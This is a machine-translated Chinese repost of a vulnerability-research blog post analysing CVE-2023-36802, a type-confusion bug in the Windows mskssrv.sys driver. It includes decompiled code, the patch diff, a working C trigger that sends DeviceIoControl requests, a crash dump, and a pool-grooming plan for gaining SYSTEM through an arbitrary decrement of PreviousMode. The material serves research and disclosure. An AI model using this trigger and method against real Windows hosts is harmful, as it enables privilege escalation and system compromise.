这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的最后一篇系列文章。在这篇博文中,我们将介绍如何将权限从 VMware 的有限权限提升为
SYSTEM,以获取主机的所有权限。该漏洞为 CVE-2023–36802,它发生在 mskssrv.sys
驱动程序中,与本系列第三篇博客中的 CVE-2023–29360 目标相同。
该漏洞在野外被利用,并被多个威胁情报组织检测到。虽然 IBM X-Force 的分析报告已于 10 月发布,chompie1337 的 PoC 代码已于 10 月发布,但自 2023 年 9 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。
回想一下第三篇博客
由于此漏洞的目标驱动因素与本系列的第三篇博客相同,因此将跳过一些重复的内容,包括通信过程 DeviceIoControl
、请求的 Ioctl
处理过程等。因此,我们强烈建议在开始这篇博客之前阅读第三篇博客,其中介绍了 CVE-2023-29360。
如第三篇博客所述,用户可以访问 FSRendezvousServer::PublishTx
if is IoControlCode
0x2F0408
.该函数如下。
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
/**
Validates input buffer
**/
FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
// Find the "FsContext2" is in the FSRendezvousServer object
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if ( isfindobj )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg
// [*]. Call FSStreamReg::PublishTx
result = FSStreamReg::PublishTx(FsContext2, data);
验证用户提供的值后, FSStreamReg::PublishTx
将调用 with FsContext2
作为第一个参数。也就是说, FsContext2
用作函数 this
的 FSStreamReg::PublishTx
值,我们可以推断出 FsContext2
应该是与 FSStreamReg
相关的类型的对象。
要设置 as object 的 FsContext2
值, FSRendezvousServer::InitializeStream
应该调用,当 IoControlCode
是 0x2F0404
时可以 FSStreamReg
访问。
__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
...
// Allocate Buffer
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u); // The size of FSStreamReg is `0x1D8`
if ( buffer )
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg
if ( !FSStreamReg_obj )
return 0xC000009A;
// Initialize FSStreamReg
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);
...
// Save FSStreamReg_obj to FsContext2
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
...
CVE-2023–36802
如上所述, obj->FileObject->FsContext2
被视为 FSStreamReg
类型。然而,这个假设正确吗?
让我们看一下 FSRendezvousServer::FindObject
,它检查 FsContext2
is in FSRendezvousServer
对象。
char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2)
{
if ( FsContext2 )
{
if ( *(_DWORD *)(FsContext2 + 0x30) == 1 )
{
// When the type number of FsContext2 is `1`
...
while ( 1 ) // Search RegObjectList
{
Type1RegObj = *(_QWORD **)(this + 0x90);
if ( !Type1RegObj || (_QWORD *)*Type1ListHead == Type1ListHead || Type1RegObj == Type1ListHead )
break;
if ( Type1RegObj != (_QWORD *)8 && Type1RegObj[3] == FsContext2 ) // FOUND the FsContext2!!!
return 1;
FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x70));
}
}
else
{
// When the type number of FsContext2 is NOT `1`
...
while ( 1 ) // Search RegObjectList
{
Type2RegObj = *(_QWORD **)(this + 0x60);
if ( !Type2RegObj || (_QWORD *)*Type2ListHead == Type2ListHead || Type2RegObj == Type2ListHead )
break;
if ( Type2RegObj != (_QWORD *)8 && Type2RegObj[3] == FsContext2 ) // FOUND the FsContext2!!!
return 1;
FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x40));
}
}
}
return 0;
}
FSRendezvousServer::FindObject
显式显示有两种类型的对象,具体取决于类型编号,位于 的 0x30
FsContext2
偏移量处。从 FSStreamReg::FSStreamReg
type 的 FSStreamReg
构造函数中,我们可以知道 的 FSStreamReg
类型编号是 2
__int64 __fastcall FSStreamReg::FSStreamReg(__int64 FSStreamReg)
{
...
*(_QWORD *)FSStreamReg = &FSStreamReg::`vftable';
*(_QWORD *)(FSStreamReg + 0x20) = FSStreamReg;
*(_DWORD *)(FSStreamReg + 0x30) = 2; // Type == 2
*(_DWORD *)(FSStreamReg + 0x34) = 0x1D8; // Size == 0x1D8
...
return FSStreamReg;
}
在分析 mskssrv.sys
了驱动程序之后,我们可以找到类型编号为 1
的 FSContextReg
对象。
__int64 __fastcall FSRendezvousServer::InitializeContext(FSRendezvousServer *this, struct _IRP *a2)
{
...
FSContextReg = (__int64)operator new(0x78ui64, (enum _POOL_TYPE)a2, 0x67657243u);
if ( FSContextReg )
{
...
*(_QWORD *)FSContextReg = &FSContextReg::`vftable'; // Setup VTable
*(_QWORD *)(FSContextReg + 0x20) = FSContextReg;
*(_DWORD *)(FSContextReg + 0x30) = 1; // Type == 1
*(_DWORD *)(FSContextReg + 0x34) = 0x78; // Size == 0x78
...
}
...
obj->FileObject->FsContext2 = (PVOID)FSContextReg;
...
}
从 ( FSContextReg
是 0x78 字节 和 FSStreamReg
是 0x1D8
) 的 FSContextReg
大小,我们可以知道 FSContextReg
不是 FSStreamReg
的继承。由于子类继承了父类中的所有字段,因此子类的大小应相等或更大。此外,在 FSRendezvousServer::FindObject
之后还有其他验证例程, FSContextReg
可以用作 的第一个 FSStreamReg::PublishTx
参数。因此,类型混淆漏洞出现。
如果发生类型混淆, FSStreamReg::PublishTx
则会将对象视为 FSContextReg
FSStreamReg
类型,尽管这两个对象没有继承关系。
__int64 __fastcall FSStreamReg::PublishTx(__int64 FsStreamReg, __int64 data)
{
//
result = FSStreamReg::CheckRecycle(FsStreamReg, data);
...
// Out-Of-Bound Access
kEvent = *(struct _KEVENT **)(FsStreamReg + 0x130);
if ( kEvent )
{
KeSetEvent(kEvent, 0, 0);
FSFrameMdlobj = 0i64;
LABEL_21:
if ( FSFrameMdlobj )
{
FSFrameMdl::~FSFrameMdl(FSFrameMdlobj);
operator delete(FSFrameMdlobj);
}
}
...
}
__int64 __fastcall FSStreamReg::CheckRecycle(__int64 this, __int64 data)
{
if ( data )
{
value1 = *(_DWORD *)(data + 0x24);
if ( value1 )
{
...
// Out-Of-Bound Access
v12 = *(_QWORD *)(this + 0x1B0);
v13 = v5 + *(_DWORD *)(this + 0x1BC);
v14 = *(int *)(this + 0x1B8);
...
}
由于两个对象之间的大小不同,类型混淆会导致越界访问漏洞。攻击者可以利用此原语通过创建内存布局来获取 SYSTEM 权限。
CVE-2023–36802 补丁
比较模块和版本:ntoskrnl.exe(x64)、10.0.19041.3086、10.0.19041.3448
-char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2)
+char __fastcall FSRendezvousServer::FindStreamObject(FSRendezvousServer *this, __int64 FsContext2)
{
if ( FsContext2 )
{
- if ( *(_DWORD *)(FsContext2 + 0x30) == 1 ) // Check Type 1
- {
- FsContextList = (_QWORD *)((char *)this + 0x80);
- /* Search Linked List to find FsContext2 */
- }
- else
+ if ( *(_DWORD *)(FsContext2 + 0x30) == 2 ) // Check Type 2
{
FsStreamList = (_QWORD *)((char *)this + 80);
/* Search Linked List to find FsContext2 */
}
}
return 0;
}
名称 FSRendezvousServer::FindObject
更改为 FSRendezvousServer::FindStreamObject
,仅搜索类型为 number 2
的 FSStreamReg
对象。
触发漏洞
要触发此漏洞,我们需要创建一个 FSContextReg
对象。可以在 中 FSRendezvousServer::InitializeContext
创建此对象,称为 when IoControlCode
0x2F0400
is 。
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if(RendezvousServerObj){
// Initialized RendezvousServerObj
}
ServerObj_1C0005048 = RendezvousServerObj_;
...
// Create FSContextReg Object in `FSRendezvousServer::InitializeContext`
result = FSRendezvousServer::InitializeContext(RendezvousServerObj, a1);
FSRendezvousServer::Release(RendezvousServerObj);
return result;
}
之后,我们只需触发一个易受攻击的函数,包括 FSRendezvousServer::PublishTx
( 0x2F0408
), FSRendezvousServer::PublishRx
( 0x2F040C
), FSRendezvousServer::ConsumeTx
( 0x2F0410
), ( 0x2F0414
)。 FSRendezvousServer::ConsumeRx
下面 PoC 用于 FSStreamReg::PublishRx
触发类型混淆。
#define inputsize 0x100
#define outputsize 0x100
int wmain(int argc, wchar_t** argv) {
WCHAR DeviceLink[256] = L"\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
HANDLE hDevice = NULL;
NTSTATUS ntstatus = 0;
hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
printf("[+] Initialize Rendezvousn");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // Current Process ID
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // Some Marker
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous
printf("[+] Publish RX --> Trigger OOB Access Vulnerabilityn");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x30) = 0; // Some Value
ntstatus = DeviceIoControl(hDevice, 0x2F040C, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishRx
}
如果验证程序在 上 mskssrv.sys
启用,则可以看到崩溃。
1: kd> r
rax=ffffd5019f2d1668 rbx=0000000000000000 rcx=ffffbf8b77206f80
rdx=ffffbf8b76e02b00 rsi=ffffbf8b77206f80 rdi=0000000000000000
rip=fffff80ffac9c9f7 rsp=ffffd5019f2d1610 rbp=ffffbf8b77045e78
r8=0000000000000001 r9=0000000000000001 r10=0000000000000000
r11=ffffffffffffffff r12=0000000000000000 r13=ffffbf8b76d60cd0
r14=ffffbf8b77207108 r15=ffffbf8b76e02b00
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
MSKSSRV!FSStreamReg::PublishRx+0x43:
fffff80f`fac9c9f7 4d3936 cmp qword ptr [r14],r14 ds:002b:ffffbf8b`77207108=????????????????
1: kd> dq @rcx L18
ffffbf8b`77206f80 fffff80f`fac941b8 ffffbf8b`77204fe0
ffffbf8b`77206f90 ffffbf8b`77204fe0 00000000`00000002
ffffbf8b`77206fa0 ffffbf8b`77206f80 00000000`00000001
ffffbf8b`77206fb0 00000078`00000001 ffffbf8b`7681f300
ffffbf8b`77206fc0 00000000`00000000 ffffbf8b`77204fd0
ffffbf8b`77206fd0 00000000`00000001 00000000`00001b80
ffffbf8b`77206fe0 43434343`44444444 00000000`00000000
ffffbf8b`77206ff0 00000000`00000000 b3b3b3b3`b3b3b3b3
ffffbf8b`77207000 ????????`???????? ????????`????????
ffffbf8b`77207010 ????????`???????? ????????`????????
ffffbf8b`77207020 ????????`???????? ????????`????????
ffffbf8b`77207030 ????????`???????? ????????`????????
1: kd> pr
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFFBF8B77207108,0x0000000000000000,0xFFFFF80FFAC9C9F7,0x0000000000000002)
Driver at fault:
*** MSKSSRV.sys - Address FFFFF80FFAC9C9F7 base at FFFFF80FFAC90000, DateStamp 75a6d2bb
.
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=0000000000000070 rsi=0000000000000000 rdi=ffffd70001988180
rip=fffff800470171e0 rsp=ffffd5019f2d0a28 rbp=ffffd5019f2d0b90
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffbf8b77207108
r14=0000000000000000 r15=ffffbf8b7689d080
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`470171e0 cc int 3
编写EXP
为了利用这个漏洞,我们需要分析越界区域中的数据是如何被使用的,并找到合适的代码来创建一个良好的原语来利用。最终,我们可以在 中找到任意 FSStreamReg::PublishRx
递减基元。
__int64 __fastcall FSStreamReg::PublishRx(__int64 this, __int64 data)
{
...
FrameListHead = (_QWORD *)(this + 0x188);
if ( (_QWORD *)*FrameListHead == FrameListHead ) // Empty List
return (unsigned int)0xC0000010;
for ( i = 0; i < *(_DWORD *)(data + 0x24); ++i )
{
// Save 0x188 Value to 0x198
if ( (_QWORD *)*FrameListHead != FrameListHead )
*(_QWORD *)(this + 0x198) = *FrameListHead;
while ( 1 )
{
FrameMDL = *(_QWORD *)(this + 0x198);
if ( !FrameMDL || (_QWORD *)*FrameListHead == FrameListHead || (_QWORD *)this_0x198 == FrameListHead )
break;
// Check some values
if ( *(_QWORD *)(FrameMDL + 0x20) == *(_QWORD *)(136i64 * i + data + 0x30) )
{
some_flag = *(_DWORD *)(FrameMDL + 0xD0);
FSFrameMdl::UnmapPages(FrameMDL);
// some_flag == true
if ( some_flag )
{
ObfDereferenceObject(*(PVOID *)(this + 0x38)); // Dereference EPROCESS structure
ObfDereferenceObject(*(PVOID *)(this + 0x1C8)); // [*]. Arbitrary Decrement
}
}
...
FSStreamReg::PublishRx
访问 0x188
和 0x198
偏移量 以查找合适的 FrameMDL
对象。因为 0x188
和 0x198
offset 位于出界区域,我们可以将可控值放在其中。因此,可以很容易地满足条件,并且我们能够达到任意递减( [*]
)的代码。该 ObfDereferenceObject
函数将递减对象在 this + 0x1C8
处的引用计数,该对象也位于出界区域。
但是,有一个障碍。由于对象的 FSContextReg
大小是 0x90
字节,包括池标头( 0x10
字节),因此它将使用 LFH(低碎片堆)。这意味着我们应该分配 0x90
字节来创建内存布局。为了创建内存布局,我们可以使用命名管道对象,该对象被广泛用于利用 NonPagedPool
的漏洞,因为在 FSContextReg
中 NonPagedPool
分配。
如果内存布局由命名的管道对象操作,则如下图所示。
如上图所示,偏移 0x1C8
量放置在用户无法控制的命名管道对象的标题区域中。为了解决这个问题,我们尝试找到其他适合这种情况的合适对象,并找到了一个 ThreadName
对象。
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength)
{
...
switch(ThreadInformationClass)
...
case ThreadNameInformation:
if ( ThreadInformationLength == 16 )
{
result = ObReferenceObjectByHandleWithTag(ThreadHandle, 0x400u, (POBJECT_TYPE)PsThreadType, prev_mode, 0x79517350u, &ThreadObj, 0i64);
...
// Validate User Address ~~~
*(UNICODE_STRING *)ThreadName_Unicode = *(UNICODE_STRING *)ThreadInformation;
...
// [1]. Allocate Non-Paged Pool with arbitrary size
NameMem = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, ThreadName_Unicode.Length + 16i64, 0x6D4E6854u);
ThreadName = (_UNICODE_STRING *)NameMem;
if(ThreadName)
{
// [2]. User data Starts from +0x10
NameArea = (wchar_t *)(NameMem + 0x10);
ThreadName->Buffer = NameArea;
ThreadName->Length = ThreadName_Unicode.Length;
ThreadName->MaximumLength = ThreadName_Unicode.Length;
// Copy User Data to the memory
memmove(NameArea, ThreadName_Unicode.Buffer, ThreadName_Unicode.Length);
...
OldName = ThreadObj->ThreadName;
ThreadObj->ThreadName = ThreadName;
...
// Free the memory for the previous name
if ( OldName )
ExFreePoolWithTag(OldName, 0x6D4E6854u);
...
}
...
}
ThreadName
可以通过 NtSetInformationThread
系统调用来设置 ThreadNameInformation(0x26)
。此对象以所需的 size( ) 分配, NonPagedPool
并且该对象的数据是完全可控的,除了第一个 0x10
字节 ( [2]
)。 [1]
此外,还有 ThreadName
对象的自由代码,这对于创建孔 ( ) 很有用 [8]
。
使用这个对象,我们可以完全处理偏移 0x188
量 和 0x1C8
处的值,并成功触发任意递减。通过这个任意递减原语,我们可以将 PreviousMode
当前线程对象的 从 更改为 User(1)
Kernel(0)
。从这里,我们可以使用任何众所周知的方法通过 Kernel
线程权限提升权限。
结论
这篇文章提供了对 CVE-2023–36802 的分析,这是我们为期N-day的全链漏洞利用的最后一个系列。虽然这个博客系列结束了,但我们总是分析世界上的威胁,并将与其他有趣的研究主题的其他博客文章一起回来。
参考
https://github.com/chompie1337/Windows_MSKSSRV_LPE_CVE-2023-36802
https://github.com/Nero22k/cve-2023-36802
https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/
https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-36802
https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html
Chaining N-days to Compromise All: Part 6 — Windows Kernel LPE: Get SYSTEM
https://medium.com/@vr-blog/chaining-n-days-to-compromise-all-part-6-windows-kernel-lpe-get-system-83cd756ce90a
原文始发于微信公众号(Ots安全):将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论